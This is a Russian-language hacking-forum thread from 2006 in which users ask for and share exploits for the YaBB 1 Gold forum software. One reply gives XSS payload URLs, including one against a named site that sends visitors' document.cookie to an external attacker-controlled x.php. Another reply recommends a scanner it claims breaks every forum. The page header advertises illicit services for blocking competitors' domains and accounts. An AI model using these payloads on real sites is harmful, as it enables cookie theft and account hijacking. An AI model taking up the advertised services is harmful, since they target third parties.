Уязвимости форума YaBB 1 Gold - Release и сплойты к нему

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Уязвимости форума YaBB 1 Gold - Release и сплойты к нему

Опции темы

Поиск в этой теме

Опции просмотра

Уязвимости форума YaBB 1 Gold - Release и сплойты к нему

03.01.2006, 21:20

asma2k

Новичок

Регистрация: 18.03.2005

Сообщений: 4

С нами: 11129527

Репутация: 0

Уязвимости форума YaBB 1 Gold - Release и сплойты к нему

Народ,хотелось бы узнать какие последние уязвимости этого форума есть и сплойты к нему?

А то по phpBB куча всякой инфы,а по YaBB 1 Gold я нашел мало,да и то какое то старье.

Может,кто что новое подскажет?

𝕏 Twitter Reddit Telegram Копировать ссылку

05.01.2006, 07:26

Romaxa55

Участник форума

Регистрация: 19.10.2005

Сообщений: 128

С нами: 10819920

Репутация: 83

Да, там можно межсайтовый скриптинг произвести, вот пример:

Код:

http://host/cgi-bin/YaBB/YaBB.cgi?board=BOARD&action=display&num=<script>alert()</script>

Код:

http://www.area51experience.com.ar/foro/YaBB.pl?board=gral;action=display; 
num=10360245269<Script>location%3d'Http://url/x.php?Cookie%3d' 
%2b(document.cookie)%3b</Script>

P.S. прошу прощения за флуд.

05.01.2006, 19:11

WizART

Участник форума

Регистрация: 19.07.2005

Сообщений: 292

С нами: 10953146

Репутация: 11

Цитата:

Код:

http://www.area51experience.com.ar/foro/YaBB.pl?board=gral;action=display; 
num=10360245269<Script>location%3d'Http://url/x.php?Cookie%3d' 
%2b(document.cookie)%3b</Script>

Эт ты где такую урлу надыбал?)

05.01.2006, 21:53

Romaxa55

Участник форума

Регистрация: 19.10.2005

Сообщений: 128

С нами: 10819920

Репутация: 83

Цитата:

Сообщение от WizART

Эт ты где такую урлу надыбал?)

на секьюре лежала, там и надыбал, ведь он же не сообщил какой сайт именно, попросили уязвимости,Ю я и сообщил.

05.01.2006, 19:18

D1mOn

Постоянный

Регистрация: 02.10.2005

Сообщений: 490

С нами: 10845026

Репутация: 212

это всё пасивные)))жаль

06.01.2006, 02:00

~~Ricky~~

Banned

Регистрация: 04.01.2006

Сообщений: 10

С нами: 10709606

Репутация: 2

Цитата:

Сообщение от asma2k

http://forum.antichat.ru/thread11807.html

Возьми от сюда мануальный сканер, и проскань этот форум. Ни один форум еще от этого сканера не был защищен.

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Вопрос про уязвимости в YaBB 1 Gold - SP1	netgenom	Уязвимости CMS / форумов	1	04.11.2004 14:13